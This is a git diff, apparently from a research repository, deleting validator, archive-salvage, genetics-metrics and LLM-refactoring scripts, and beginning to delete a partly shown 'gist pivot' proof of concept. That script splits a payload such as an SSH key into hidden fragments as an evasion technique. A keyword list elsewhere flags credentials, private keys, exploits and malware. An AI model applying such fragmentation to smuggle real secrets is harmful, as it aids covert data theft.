messages.append(f"kernel[{index}] is not an object") - continue - - missing = sorted(REQUIRED_KERNEL_FIELDS - set(kernel)) - if missing: - messages.append(f"kernel[{index}] missing fields: {', '.join(missing)}") - - kernel_id = kernel.get("kernel_id") - if not isinstance(kernel_id, str) or not kernel_id: - messages.append(f"kernel[{index}] has invalid kernel_id") - elif kernel_id in seen: - messages.append(f"duplicate kernel_id: {kernel_id}") - else: - seen.add(kernel_id) - - bucket = kernel.get("bucket") - if bucket not in ALLOWED_BUCKETS: - messages.append(f"kernel {kernel_id!r} has invalid bucket: {bucket!r}") - else: - bucket_counts[bucket] += 1 - - if kernel.get("claim_state") not in {"HOLD", "V_scope", "REVIEWED", "CANONICAL_LEAN", "QUARANTINE"}: - messages.append(f"kernel {kernel_id!r} has invalid claim_state: {kernel.get('claim_state')!r}") - - if kernel.get("authority_scope") not in { - "workbench_projection", - "simulation_only", - "receipt_backed", - "canonical_lean", - "external_source", - "safety_policy", - }: - messages.append(f"kernel {kernel_id!r} has invalid authority_scope: {kernel.get('authority_scope')!r}") - - if len(seen) != 15: - messages.append(f"expected 15 kernels, found {len(seen)}") - - for required_bucket in {"FLUID", "NEURAL", "ENTROPY", "TOPOLOGY"}: - if bucket_counts[required_bucket] == 0: - messages.append(f"required bucket has no kernels: {required_bucket}") - - if messages: - return ValidationResult(False, messages) - - return ValidationResult(True, ["kernel registry passed structural validation"]) - - -def kernel_index(registry: dict[str, Any]) -> dict[str, dict[str, Any]]: - return {kernel["kernel_id"]: kernel for kernel in registry.get("kernels", []) if isinstance(kernel, dict) and "kernel_id" in kernel} - - -def buckets_for_kernels(kernels: Iterable[str], index: dict[str, dict[str, Any]]) -> set[str]: - buckets: set[str] = set() - for kernel_id in kernels: - kernel = index.get(kernel_id) - if kernel: - buckets.add(str(kernel.get("bucket"))) - return buckets - - -def validate_toy_route(registry: dict[str, Any], route_name: str, selected_kernels: list[str] | None) -> ValidationResult: - messages: list[str] = [] - rules = TOY_ROUTE_RULES.get(route_name) - if rules is None: - valid = ", ".join(sorted(TOY_ROUTE_RULES)) - return ValidationResult(False, [f"unknown route {route_name!r}; valid routes: {valid}"]) - - index = kernel_index(registry) - selected = set(selected_kernels or rules["recommended_kernels"]) - - unknown = sorted(kernel for kernel in selected if kernel not in index) - if unknown: - messages.append(f"unknown selected kernels: {', '.join(unknown)}") - - actual_buckets = buckets_for_kernels(selected, index) - missing_buckets = set(rules["required_buckets"]) - actual_buckets - if missing_buckets: - messages.append(f"route {route_name} missing required buckets: {', '.join(sorted(missing_buckets))}") - - for kernel_id in sorted(selected): - kernel = index.get(kernel_id) - if not kernel: - continue - if "toy_route_validator" not in kernel.get("allowed_runtimes", []): - messages.append(f"kernel {kernel_id} is not marked for toy_route_validator runtime") - - if messages: - return ValidationResult(False, messages) - - return ValidationResult(True, [ - rules["description"], - f"selected kernels: {', '.join(sorted(selected))}", - f"covered buckets: {', '.join(sorted(actual_buckets))}", - "route passed routing-grammar validation only; no physical/theorem claim is implied", - ]) - - -def main(argv: list[str]) -> int: - parser = argparse.ArgumentParser(description="Validate Equation Forest routing registry and toy routes.") - parser.add_argument("--registry", type=Path, default=Path("registry/equation_forest_kernels.json")) - parser.add_argument("--route", choices=sorted(TOY_ROUTE_RULES), help="Optional toy route to validate") - parser.add_argument("--kernels", nargs="*", help="Optional explicit kernel IDs for route validation") - args = parser.parse_args(argv) - - registry = load_json(args.registry) - structural = validate_kernel_registry(registry) - for message in structural.messages: - print(message) - if not structural.ok: - return 1 - - if args.route: - route_result = validate_toy_route(registry, args.route, args.kernels) - for message in route_result.messages: - print(message) - if not route_result.ok: - return 2 - - return 0 - - -if __name__ == "__main__": - raise SystemExit(main(sys.argv[1:])) diff --git a/0-Core-Formalism/otom/tools/ene/ene_artifact_salvage_extractor.py b/0-Core-Formalism/otom/tools/ene/ene_artifact_salvage_extractor.py deleted file mode 100644 index 31a8d0bd..00000000 --- a/0-Core-Formalism/otom/tools/ene/ene_artifact_salvage_extractor.py +++ /dev/null @@ -1,421 +0,0 @@ -#!/usr/bin/env python3 -""" -ENE Artifact Salvage Extractor -============================== - -Purpose -------- -Extract useful, sanitized research artifacts from legacy ENE archive records -without carrying forward false claims, contaminated phrasing, or obsolete math. - -Core rule ---------- -Wrong math may still contain a valid artifact. Salvage the artifact, not the -false claim. - -This tool is deliberately conservative. It does not emit the old claim body by -default. It emits sanitized receipts containing only: - -- provenance pointers and hashes; -- classification of why the record is interesting; -- sanitized reusable core; -- failure/contamination flags; -- current-stack mapping hints; -- non-claims. - -It is intended for legacy review passes where the operator does not want old -patterns to infect current reasoning. -""" - -from __future__ import annotations - -import argparse -import dataclasses -import hashlib -import json -import re -from pathlib import Path -from typing import Any, Dict, Iterable, List, Optional, Tuple - - -EXTRACTION_VERSION = "ene_artifact_salvage_extractor_v0.1" - - -@dataclasses.dataclass(frozen=True) -class SalvageConfig: - max_records: Optional[int] - min_score: int - include_rejected: bool - emit_legacy_snippets: bool - - -@dataclasses.dataclass -class SalvageReceipt: - salvage_id: str - source_archive_id: str - source_type: str - source_file: str - source_hash: str - extraction_version: str - interest_score: int - salvage_class: str - interest_reasons: List[str] - contamination_flags: List[str] - sanitized_core: str - current_stack_mapping: Dict[str, List[str]] - recommended_next_action: str - allowed_claims: List[str] - non_claims: List[str] - legacy_snippet: Optional[str] = None - - -def stable_hash(obj: Any, n: int = 32) -> str: - data = json.dumps(obj, sort_keys=True, ensure_ascii=False, default=str) - return hashlib.sha256(data.encode("utf-8")).hexdigest()[:n] - - -def load_archive(path: Path) -> List[Dict[str, Any]]: - archive = json.loads(path.read_text(encoding="utf-8")) - records = archive.get("records", archive) - if isinstance(records, dict): - return list(records.values()) - if isinstance(records, list): - return records - raise ValueError("Archive must contain records as a dict or list") - - -INTEREST_PATTERNS: Dict[str, List[str]] = { - "compression_invariant": [ - r"compression", r"codec", r"entropy", r"hutter", r"canonical", r"precompression", - r"arithmetic coding", r"log[- ]?loss", r"minimum description", r"md[l]", - ], - "manifold_topology": [ - r"manifold", r"topolog", r"torsion", r"curvature", r"ricci", r"fiber", - r"bundle", r"geodesic", r"metric", r"basin", r"attractor", - ], - "avm_or_bytecode": [ - r"\bAVM\b", r"bytecode", r"stack", r"kernel", r"trace", r"q16", r"fixed[- ]?point", - r"deterministic", r"golden trace", - ], - "nuvmap_addressing": [ - r"NUVMAP", r"address", r"projection", r"virtual memory", r"uv map", r"coordinate", - r"spectral mode", r"witness", r"receipt", - ], - "s3c_sphinx_gcl": [ - r"S3C", r"AngrySphinx", r"sphinx", r"GCL", r"grammar", r"lawful", r"gate", - r"quarantine", r"scar", r"throttle", r"shell", - ], - "photonic_witness": [ - r"photonic", r"photon", r"Quandela", r"Perceval", r"boson", r"HOM", r"linear optical", - r"spectral witness", r"sampling", - ], - "lean_formalization": [ - r"Lean", r"theorem", r"proof", r"sorry", r"formal", r"lemma", r"lake build", - r"Q16_16", r"Semantics\.", - ], - "hardware_loopback": [ - r"FPGA", r"Tang Nano", r"UART", r"loopback", r"hardware", r"synthesis", r"bit[- ]?exact", - r"Verilog", r"RTL", - ], - "negative_control_or_failure": [ - r"failed", r"wrong", r"gap", r"limitation", r"counterexample", r"negative control", - r"overclaim", r"not prove", r"boundary", r"quarantine", - ], - "cross_domain_adapter": [ - r"adapter", r"cross[- ]?domain", r"translation", r"mapping", r"homology", r"equivalence", - r"route", r"bridge", r"workflow", r"process graph", - ], - "mass_number_diat": [ - r"DIAT", r"mass number", r"square", r"shell", r"gap", r"parity", r"mirror", - r"codon", r"distance to", r"integer", - ], -} - - -CONTAMINATION_PATTERNS: Dict[str, List[str]] = { - "proof_inflation": [ - r"proved.*navier", r"proved.*millennium", r"solved.*burgers", r"solved.*navier", - r"global regularity", r"proof of everything", r"final theorem", - ], - "physics_overclaim": [ - r"actual mass", r"semantic mass is physical", r"quantum advantage", r"photonic.*solve", - r"violates", r"free energy", r"perpetual", - ], - "ai_as_validator": [ - r"LLM.*proved", r"AI.*validated", r"model agrees therefore", r"consensus of models", - ], - "float_hot_path": [ - r"float.*hot", r"f32", r"f64", r"floating point.*authoritative", - ], - "unsafe_or_sensitive": [ - r"credential", r"token", r"secret", r"private key", r"password", r"exploit", r"payload", - r"dox", r"retaliat", r"malware", - ], - "medical_or_financial_overclaim": [ - r"cures", r"diagnoses", r"guaranteed profit", r"market oracle", r"investment advice", - ], -} - - -STACK_MAPPING: Dict[str, List[Tuple[str, str]]] = { - "nuvmap": [ - ("nuvmap_addressing", "Candidate for address/projection receipt or non-uniform routing surface"), - ("photonic_witness", "Project witness statistics into addressable spectral coordinates"), - ("hardware_loopback", "Project hardware trace locations into NUVMAP receipt space"), - ], - "avm": [ - ("avm_or_bytecode", "Candidate for deterministic Q16.16 scoring or trace replay"), - ("compression_invariant", "Candidate for AVM kernel scoring/compression law test"), - ("hardware_loopback", "Candidate for bit-exact replay target"), - ], - "s3c": [ - ("s3c_sphinx_gcl", "Candidate for shell/codon expansion gate"), - ("mass_number_diat", "Candidate for shell pressure or square-gap codonization"), - ("cross_domain_adapter", "Candidate route through compressed adapter space"), - ], - "metaprobe": [ - ("negative_control_or_failure", "Candidate failure surface / harder probe family"), - ("cross_domain_adapter", "Candidate for adapter stress-test generation"), - ], - "gcl": [ - ("s3c_sphinx_gcl", "Candidate grammar/lawfulness boundary"), - ("negative_control_or_failure", "Candidate claim-boundary rule or forbidden region"), - ], - "lean": [ - ("lean_formalization", "Candidate local theorem or proof-boundary target"), - ("avm_or_bytecode", "Candidate bytecode correctness theorem"), - ], -} - - -SAFE_WORD_REPLACEMENTS = [ - (re.compile(r"\bproved\b", re.I), "claimed"), - (re.compile(r"\bsolved\b", re.I), "attempted"), - (re.compile(r"\bguarantees?\b", re.I), "suggests"), - (re.compile(r"\bquantum advantage\b", re.I), "photonic sampling behavior"), - (re.compile(r"\bglobal regularity\b", re.I), "bounded formal target"), -] - - -def normalize_text(record: Dict[str, Any]) -> str: - text = record.get("extracted_text") - if not text: - raw = record.get("raw_content", {}) - text = json.dumps(raw, ensure_ascii=False, default=str) - text = str(text) - # Remove obvious secret-like long tokens from any optional legacy snippet path. - text = re.sub(r"(?i)(api[_-]?key|token|password|secret)\s*[:=]\s*[^\s]+", r"\1: [REDACTED]", text) - text = re.sub(r"[A-Za-z0-9_\-]{48,}", "[LONG_TOKEN_REDACTED]", text) - return text - - -def match_categories(text: str, patterns: Dict[str, List[str]]) -> Dict[str, int]: - out: Dict[str, int] = {} - for category, pats in patterns.items(): - count = 0 - for pat in pats: - count += len(re.findall(pat, text, flags=re.I)) - if count: - out[category] = count - return out - - -def summarize_core(categories: Dict[str, int], contamination: Dict[str, int]) -> str: - if not categories: - return "No sanitized reusable core detected by the current rules." - - ordered = sorted(categories.items(), key=lambda kv: (-kv[1], kv[0])) - top = [k for k, _ in ordered[:4]] - - phrases = [] - if "compression_invariant" in top: - phrases.append("compression/invariant extraction candidate") - if "manifold_topology" in top: - phrases.append("manifold or topological structure candidate") - if "avm_or_bytecode" in top: - phrases.append("deterministic AVM/bytecode scoring candidate") - if "nuvmap_addressing" in top: - phrases.append("NUVMAP address/projection candidate") - if "s3c_sphinx_gcl" in top: - phrases.append("S3C/GCL/AngrySphinx routing candidate") - if "photonic_witness" in top: - phrases.append("photonic witness or sampling candidate") - if "lean_formalization" in top: - phrases.append("Lean/formalization target candidate") - if "hardware_loopback" in top: - phrases.append("hardware loopback or bit-exact replay candidate") - if "negative_control_or_failure" in top: - phrases.append("failure surface / negative-control candidate") - if "cross_domain_adapter" in top: - phrases.append("cross-domain adapter candidate") - if "mass_number_diat" in top: - phrases.append("DIAT/mass-number shell-pressure candidate") - - if not phrases: - phrases = [k.replace("_", " ") for k in top] - - sentence = "Sanitized artifact core: " + "; ".join(phrases) + "." - if contamination: - sentence += " Original claim language requires quarantine before reuse." - return sentence - - -def salvage_class(categories: Dict[str, int], contamination: Dict[str, int], score: int) -> str: - if contamination.get("unsafe_or_sensitive"): - return "QUARANTINE_ONLY" - if contamination and categories: - return "SALVAGEABLE_CORE_WITH_CLAIM_SCAR" - if categories.get("negative_control_or_failure"): - return "NEGATIVE_CONTROL_OR_FAILURE_SURFACE" - if categories.get("cross_domain_adapter") or categories.get("mass_number_diat"): - return "RECONTEXTUALIZE_WITH_CURRENT_STACK" - if score >= 6: - return "SALVAGEABLE_CORE" - return "LOW_CONFIDENCE_REVIEW" - - -def build_stack_mapping(categories: Dict[str, int]) -> Dict[str, List[str]]: - mapping: Dict[str, List[str]] = {} - for layer, rules in STACK_MAPPING.items(): - hits = [msg for category, msg in rules if category in categories] - if hits: - mapping[layer] = hits - return mapping - - -def recommended_action(cls: str) -> str: - return { - "QUARANTINE_ONLY": "Do not reintroduce content. Preserve only hash/provenance and safety flag.", - "SALVAGEABLE_CORE_WITH_CLAIM_SCAR": "Extract sanitized core, preserve old claim only as a non-authoritative scar, and require new evidence before reuse.", - "NEGATIVE_CONTROL_OR_FAILURE_SURFACE": "Convert into a negative control, MetaProbe target, or GCL boundary test.", - "RECONTEXTUALIZE_WITH_CURRENT_STACK": "Map into current NUVMAP/AVM/S3C vocabulary and discard obsolete derivation language.", - "SALVAGEABLE_CORE": "Promote as sanitized candidate artifact with receipt and claim boundary.", - "LOW_CONFIDENCE_REVIEW": "Keep only if a human or downstream model finds a concrete invariant.", - }.get(cls, "Review conservatively.") - - -def sanitize_snippet(text: str, max_len: int = 700) -> str: - snippet = re.sub(r"\s+", " ", text).strip()[:max_len] - for pat, repl in SAFE_WORD_REPLACEMENTS: - snippet = pat.sub(repl, snippet) - return snippet - - -def score_record(categories: Dict[str, int], contamination: Dict[str, int]) -> int: - score = 0 - for cat, count in categories.items(): - score += min(count, 5) - # Failures can be interesting, but severe contamination suppresses promotion. - if contamination.get("unsafe_or_sensitive"): - score -= 999 - elif contamination: - score -= min(sum(contamination.values()), 5) - return score - - -def make_receipt(record: Dict[str, Any], cfg: SalvageConfig) -> Optional[SalvageReceipt]: - text = normalize_text(record) - categories = match_categories(text, INTEREST_PATTERNS) - contamination = match_categories(text, CONTAMINATION_PATTERNS) - score = score_record(categories, contamination) - - if score < cfg.min_score and not (cfg.include_rejected and categories): - return None - - src_id = str(record.get("archive_id") or stable_hash(record)) - src_hash = str(record.get("content_hash") or stable_hash(record.get("raw_content", text))) - cls = salvage_class(categories, contamination, score) - sanitized_core = summarize_core(categories, contamination) - mapping = build_stack_mapping(categories) - - receipt_obj = { - "source_archive_id": src_id, - "source_hash": src_hash, - "categories": categories, - "contamination": contamination, - "version": EXTRACTION_VERSION, - } - salvage_id = "ene_salvage_" + stable_hash(receipt_obj, 24) - - return SalvageReceipt( - salvage_id=salvage_id, - source_archive_id=src_id, - source_type=str(record.get("source_type", "unknown")), - source_file=str(record.get("source_file", "unknown")), - source_hash=src_hash, - extraction_version=EXTRACTION_VERSION, - interest_score=score, - salvage_class=cls, - interest_reasons=sorted(categories.keys()), - contamination_flags=sorted(contamination.keys()), - sanitized_core=sanitized_core, - current_stack_mapping=mapping, - recommended_next_action=recommended_action(cls), - allowed_claims=[ - "This receipt identifies a sanitized reusable artifact candidate.", - "This receipt may support recontextualization, negative-control generation, or theorem-target discovery.", - ], - non_claims=[ - "Does not validate the original math.", - "Does not preserve original proof claims.", - "Does not imply domain equivalence.", - "Does not imply PDE proof, quantum advantage, market prediction, or hardware correctness.", - ], - legacy_snippet=sanitize_snippet(text) if cfg.emit_legacy_snippets else None, - ) - - -def extract(archive_path: Path, out_path: Path, cfg: SalvageConfig) -> Dict[str, Any]: - records = load_archive(archive_path) - receipts: List[SalvageReceipt] = [] - - for i, record in enumerate(records): - if cfg.max_records is not None and i >= cfg.max_records: - break - rec = make_receipt(record, cfg) - if rec is not None: - receipts.append(rec) - - receipts.sort(key=lambda r: (-r.interest_score, r.salvage_class, r.source_archive_id)) - - payload = { - "meta": { - "extraction_version": EXTRACTION_VERSION, - "source_archive": str(archive_path), - "total_input_records": len(records), - "total_salvage_receipts": len(receipts), - "min_score": cfg.min_score, - "legacy_snippets_emitted": cfg.emit_legacy_snippets, - "policy": "sanitize_by_default_salvage_artifact_not_false_claim", - }, - "receipts": [dataclasses.asdict(r) for r in receipts], - } - - out_path.parent.mkdir(parents=True, exist_ok=True) - out_path.write_text(json.dumps(payload, indent=2, ensure_ascii=False), encoding="utf-8") - return payload - - -def main() -> int: - parser = argparse.ArgumentParser(description="Extract sanitized salvage receipts from ENE archive") - parser.add_argument("archive", type=Path, help="Path to ene_complete_archive.json") - parser.add_argument("--out", type=Path, default=Path("shared-data/ene_salvage_receipts.json")) - parser.add_argument("--max-records", type=int, default=None) - parser.add_argument("--min-score", type=int, default=2) - parser.add_argument("--include-rejected", action="store_true") - parser.add_argument("--emit-legacy-snippets", action="store_true", help="Unsafe for clean-room review; off by default") - args = parser.parse_args() - - cfg = SalvageConfig( - max_records=args.max_records, - min_score=args.min_score, - include_rejected=args.include_rejected, - emit_legacy_snippets=args.emit_legacy_snippets, - ) - payload = extract(args.archive, args.out, cfg) - print(json.dumps(payload["meta"], indent=2)) - return 0 - - -if __name__ == "__main__": - raise SystemExit(main()) diff --git a/0-Core-Formalism/otom/tools/genetics/emit_selection_receipt.py b/0-Core-Formalism/otom/tools/genetics/emit_selection_receipt.py deleted file mode 100644 index fb4185be..00000000 --- a/0-Core-Formalism/otom/tools/genetics/emit_selection_receipt.py +++ /dev/null @@ -1,107 +0,0 @@ -#!/usr/bin/env python3 -"""Emit a provenance-bearing selection-metrics receipt. - -Usage: - python emit_selection_receipt.py \ - --fixture ../../data/fixtures/genetics/selection_metrics_fixture.json \ - --out ../../out/receipts/selection_metrics_demo_v0.receipt.json - -The emitted receipt is suitable for plumbing tests only unless the fixture has -real-data provenance. Synthetic fixtures must never promote genetics claims. -""" - -from __future__ import annotations - -import argparse -import hashlib -import json -from dataclasses import asdict -from datetime import datetime, timezone -from pathlib import Path -from typing import Any - -from selection_metrics import ( - TajimasDInput, - hudson_fst, - mass_number_selection_pressure, - tajimas_d, -) - - -RECEIPT_SCHEMA_VERSION = "selection-metrics-receipt/v0" - - -def sha256_text(text: str) -> str: - return hashlib.sha256(text.encode("utf-8")).hexdigest() - - -def load_fixture(path: Path) -> tuple[dict[str, Any], str]: - raw = path.read_text(encoding="utf-8") - return json.loads(raw), sha256_text(raw) - - -def build_receipt(fixture: dict[str, Any], fixture_sha256: str, fixture_path: Path) -> dict[str, Any]: - tajima_input = TajimasDInput(**fixture["tajimas_d_input"]) - fst_input = fixture["hudson_fst_input"] - - tajima = tajimas_d(tajima_input) - fst = hudson_fst( - within_pairwise_differences=fst_input["within_pairwise_differences"], - between_pairwise_differences=fst_input["between_pairwise_differences"], - ) - pressure = mass_number_selection_pressure(tajima, fst) - - provenance = fixture.get("provenance", {}) - promotion_policy = fixture.get("promotion_policy", {}) - synthetic = provenance.get("source") == "synthetic_fixture" - may_promote = bool(promotion_policy.get("may_promote_claims", False)) and not synthetic - - receipt = { - "schema": RECEIPT_SCHEMA_VERSION, - "receipt_kind": "selection_metrics_engineering_scaffold", - "claim_state": "ENGINEERING_SCAFFOLD", - "fixture": { - "path": str(fixture_path), - "fixture_id": fixture.get("fixture_id"), - "sha256": fixture_sha256, - "provenance": provenance, - }, - "inputs": { - "tajimas_d_input": fixture["tajimas_d_input"], - "hudson_fst_input": fst_input, - }, - "results": { - "tajimas_d": asdict(tajima), - "hudson_fst": asdict(fst), - "mass_number_selection_pressure_proxy": pressure, - }, - "promotion": { - "may_promote_claims": may_promote, - "reason": ( - "Synthetic fixture; validates code path only." - if synthetic - else promotion_policy.get("reason", "Promotion requires external review.") - ), - }, - "generated_at_utc": datetime.now(timezone.utc).isoformat(), - } - receipt["receipt_sha256"] = sha256_text(json.dumps(receipt, sort_keys=True)) - return receipt - - -def main() -> None: - parser = argparse.ArgumentParser(description="Emit selection metrics receipt JSON") - parser.add_argument("--fixture", required=True, type=Path, help="Path to fixture JSON") - parser.add_argument("--out", required=True, type=Path, help="Output receipt path") - args = parser.parse_args() - - fixture, fixture_sha256 = load_fixture(args.fixture) - receipt = build_receipt(fixture, fixture_sha256, args.fixture) - - args.out.parent.mkdir(parents=True, exist_ok=True) - args.out.write_text(json.dumps(receipt, indent=2, sort_keys=True) + "\n", encoding="utf-8") - print(json.dumps({"wrote": str(args.out), "receipt_sha256": receipt["receipt_sha256"]}, indent=2)) - - -if __name__ == "__main__": - main() diff --git a/0-Core-Formalism/otom/tools/genetics/selection_metrics.py b/0-Core-Formalism/otom/tools/genetics/selection_metrics.py deleted file mode 100644 index 3f7f8345..00000000 --- a/0-Core-Formalism/otom/tools/genetics/selection_metrics.py +++ /dev/null @@ -1,167 +0,0 @@ -#!/usr/bin/env python3 -"""Selection metrics scaffold for the OTOM genetics information substrate. - -This module is intentionally small and dependency-free. It turns the genetics -boundary record's first promotion candidate into an executable path: - - - Tajima's D from segregating sites, pairwise differences, and sample size - - Hudson-style FST from within-population and between-population differences - -Claim-state boundary: - These functions are engineering scaffolds. They do not by themselves prove - selection, ancestry, or fitness claims. Promotion requires provenance-bearing - data fixtures and receipts. -""" - -from __future__ import annotations - -from dataclasses import dataclass -from math import sqrt -from typing import Iterable, Sequence - - -@dataclass(frozen=True) -class TajimasDInput: - """Inputs for Tajima's D. - - sample_size: - Number of sampled haploid sequences. Must be at least 2. - segregating_sites: - Count of segregating sites S. Must be non-negative. - pairwise_differences: - Average number of pairwise differences pi across the region. - """ - - sample_size: int - segregating_sites: int - pairwise_differences: float - - -@dataclass(frozen=True) -class TajimasDResult: - theta_watterson: float - tajimas_d: float - variance: float - claim_state: str = "ENGINEERING_SCAFFOLD" - - -@dataclass(frozen=True) -class FstResult: - within_mean: float - between_mean: float - fst: float - claim_state: str = "ENGINEERING_SCAFFOLD" - - -def _validate_nonnegative(name: str, value: float) -> None: - if value < 0: - raise ValueError(f"{name} must be non-negative, got {value!r}") - - -def harmonic_sum(n: int, power: int = 1) -> float: - """Return sum_{i=1}^{n} 1 / i^power.""" - - if n < 1: - raise ValueError(f"n must be >= 1, got {n!r}") - if power < 1: - raise ValueError(f"power must be >= 1, got {power!r}") - return sum(1.0 / (i**power) for i in range(1, n + 1)) - - -def tajimas_d(data: TajimasDInput) -> TajimasDResult: - """Compute Tajima's D using the standard finite-sample constants. - - D = (pi - S/a1) / sqrt(e1*S + e2*S*(S-1)) - - Returns D=0 when S=0 and variance is zero, because there is no segregating - signal to evaluate. Callers should treat that as non-promoting evidence. - """ - - n = data.sample_size - s = data.segregating_sites - pi = data.pairwise_differences - - if n < 2: - raise ValueError(f"sample_size must be >= 2, got {n!r}") - _validate_nonnegative("segregating_sites", s) - _validate_nonnegative("pairwise_differences", pi) - - a1 = harmonic_sum(n - 1, 1) - a2 = harmonic_sum(n - 1, 2) - b1 = (n + 1) / (3 * (n - 1)) - b2 = (2 * (n * n + n + 3)) / (9 * n * (n - 1)) - c1 = b1 - (1 / a1) - c2 = b2 - ((n + 2) / (a1 * n)) + (a2 / (a1 * a1)) - e1 = c1 / a1 - e2 = c2 / ((a1 * a1) + a2) - - theta_w = s / a1 - variance = e1 * s + e2 * s * (s - 1) - - if variance <= 0: - return TajimasDResult(theta_watterson=theta_w, tajimas_d=0.0, variance=variance) - - return TajimasDResult( - theta_watterson=theta_w, - tajimas_d=(pi - theta_w) / sqrt(variance), - variance=variance, - ) - - -def _mean(values: Sequence[float], name: str) -> float: - if not values: - raise ValueError(f"{name} must contain at least one value") - for value in values: - _validate_nonnegative(name, value) - return sum(values) / len(values) - - -def hudson_fst(within_pairwise_differences: Sequence[float], between_pairwise_differences: Sequence[float]) -> FstResult: - """Compute a simple Hudson-style FST estimate. - - FST = 1 - mean_within / mean_between - - The input values should be pairwise sequence differences or comparable - genetic distances. If between-population divergence is zero, FST is returned - as zero to avoid division by zero; callers should treat that as non-promoting. - """ - - within = _mean(within_pairwise_differences, "within_pairwise_differences") - between = _mean(between_pairwise_differences, "between_pairwise_differences") - - if between <= 0: - return FstResult(within_mean=within, between_mean=between, fst=0.0) - - fst = 1.0 - (within / between) - if fst < 0: - fst = 0.0 - if fst > 1: - fst = 1.0 - return FstResult(within_mean=within, between_mean=between, fst=fst) - - -def mass_number_selection_pressure(tajima: TajimasDResult, fst: FstResult) -> float: - """Toy MassNumber pressure proxy for promotion triage. - - This is deliberately not a formal MassNumber implementation. It gives a - monotone engineering score for issue triage: - - abs(TajimaD) + FST - - The score must be replaced by the Lean/Q16_16 MassNumber gate before any - reviewed claim is promoted. - """ - - return abs(tajima.tajimas_d) + fst.fst - - -def _demo() -> None: - tajima = tajimas_d(TajimasDInput(sample_size=10, segregating_sites=12, pairwise_differences=4.2)) - fst = hudson_fst(within_pairwise_differences=[1.2, 1.5, 1.1], between_pairwise_differences=[3.0, 3.3, 2.8]) - print("tajimas_d", tajima) - print("hudson_fst", fst) - print("selection_pressure_proxy", mass_number_selection_pressure(tajima, fst)) - - -if __name__ == "__main__": - _demo() diff --git a/2-Search-Space/FAMM/FAMM.lean b/2-Search-Space/FAMM/FAMM.lean index 37e3bc49..13f582ed 100644 --- a/2-Search-Space/FAMM/FAMM.lean +++ b/2-Search-Space/FAMM/FAMM.lean @@ -122,7 +122,7 @@ theorem fammBindReflexive (bank : FAMMBank) (mode : FAMMAccessMode) (address : N (fammBind bank mode address).lawful = (fammBind bank mode address).lawful := by rfl -/-- MORE FAMM Architecture Integration +/- MORE FAMM Architecture Integration The unified architecture requires capability-based memory isolation and thermal management for safe operation. These extensions integrate @@ -134,7 +134,7 @@ structure FAMMCapabilityCell where data : Q16_16 delay : Q16_16 owner : UInt8 -- Segment ID (capability-based access) - accessRights : UInt4 -- READ | WRITE | PRUNE | EXECUTE + accessRights : UInt8 -- READ | WRITE | PRUNE | EXECUTE delayMass : Q16_16 delayWeight : Q16_16 @@ -183,7 +183,7 @@ deriving Repr, Inhabited def fammMetadataCollapse (bank : FAMMThermalBank) : FAMMCollapsedState := { cellCount := bank.cells.size, bannedCount := 0, -- TODO: Track pruned cells - energySignature := bank.cells.foldl (λ acc cell => acc + cell.delayMass) Q16_16.ofInt 0, + energySignature := bank.cells.foldl (λ acc cell => acc + cell.delayMass) Q16_16.zero, thermalResidual := bank.thermalBudget - bank.currentStress, ownerSegment := 0 } -- TODO: Per-segment ownership diff --git a/2-Search-Space/FAMM/solve_famm_sorry.py b/2-Search-Space/FAMM/solve_famm_sorry.py deleted file mode 100644 index f377cf86..00000000 --- a/2-Search-Space/FAMM/solve_famm_sorry.py +++ /dev/null @@ -1,61 +0,0 @@ -import os -import sys -from pathlib import Path - -# Add project root to path -sys.path.append("/home/allaun/Research Stack") -from infra.deepseek_adapter import DeepSeekV4 - -def solve_famm_sorry(): - # Use DeepSeek API for better reliability - api_key = os.environ.get("DEEPSEEK_API_KEY", "") - if not api_key: - raise RuntimeError("DEEPSEEK_API_KEY is required") - client = DeepSeekV4(api_key=api_key, use_local=False) - model = "deepseek-v4-pro" - - file_path = "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/Semantics/Semantics/FAMM.lean" - with open(file_path, 'r') as f: - content = f.read() - - prompt = f""" -You are a Lean 4 formalization expert. -The following Lean 4 file `FAMM.lean` has duplicate definitions and 'sorry' axioms. -Please refactor it to: -1. Remove duplicate structures and definitions (e.g., FAMMThermalBank, fammMetadataCollapse). -2. Complete the proof for `famm_compression_property`. -3. Ensure the file is valid Lean 4 code. - -File Content: -{content} - -Provide the complete refactored file content in a code block. -""" - - print(f"Sending request to {model}...") - messages = [{"role": "user", "content": prompt}] - - try: - res = client.chat(messages, model=model) - # Check if it's Ollama response format - if "message" in res: - new_content = res["message"]["content"] - else: - new_content = res["choices"][0]["message"]["content"] - - # Extract from code block - if "```lean" in new_content: - new_content = new_content.split("```lean")[1].split("```")[0].strip() - elif "```" in new_content: - new_content = new_content.split("```")[1].split("```")[0].strip() - - output_path = "/home/allaun/Documents/Research Stack/scratch/FAMM_refactored.lean" - with open(output_path, 'w') as f: - f.write(new_content) - print(f"Refactored file saved to {output_path}") - - except Exception as e: - print(f"Error: {e}") - -if __name__ == "__main__": - solve_famm_sorry() diff --git a/2-Search-Space/GhostPivot/gist_pivot_poc.py b/2-Search-Space/GhostPivot/gist_pivot_poc.py deleted file mode 100644 index 46c3fbce..00000000 --- a/2-Search-Space/GhostPivot/gist_pivot_poc.py +++ /dev/null @@ -1,215 +0,0 @@ -#!/usr/bin/env python3 -"""Gist-Pivot PoC - -Simulate creating many small "gists" (here just files) containing -fragments of an MSM, demonstrating the evasion technique. -""" - -import os - -import sys - -OUTDIR = "/tmp/gist_pivot" -# define a tiny micro-state machine language with simple ops: -# 0x01 INC ; increment accumulator -# 0x02 DEC ; decrement accumulator -# 0x03 JNZ ; jump relative if accumulator != 0 -# 0xFF HALT ; stop execution -# By default we encode a sample MSM; if a file path is provided on the -# command line, we treat that file's bytes as the payload to hide (e.g. -# a pseudo SSH key). -if len(sys.argv) > 1: - INPUT_PATH = sys.argv[1] - with open(INPUT_PATH, 'rb') as f: - MSM_CODE = f.read() - print(f"[+] Using input file {INPUT_PATH} ({len(MSM_CODE)} bytes) as payload") -else: - MSM_CODE = bytes([0x01, 0x01, 0x02, 0x03, 0xFD, 0xFF]) -# split into equal pieces to simulate fragmentation -def split_fragments(code, pieces): - size = len(code) // pieces - fragments = [code[i*size:(i+1)*size] for i in range(pieces-1)] - fragments.append(code[(pieces-1)*size:]) - return fragments - -# to compress further, map emojis to a small index via a LUT -EMOJI_LUT = { - '⏱️': 0, - '🛑': 1, - '🔧': 2, - '💥': 3, -} -REV_LUT = {v: k for k, v in EMOJI_LUT.items()} - -# our MSM representation will now be a sequence of indices (one byte each) -# if MSM_CODE was text it is ignored; instead generate a sample 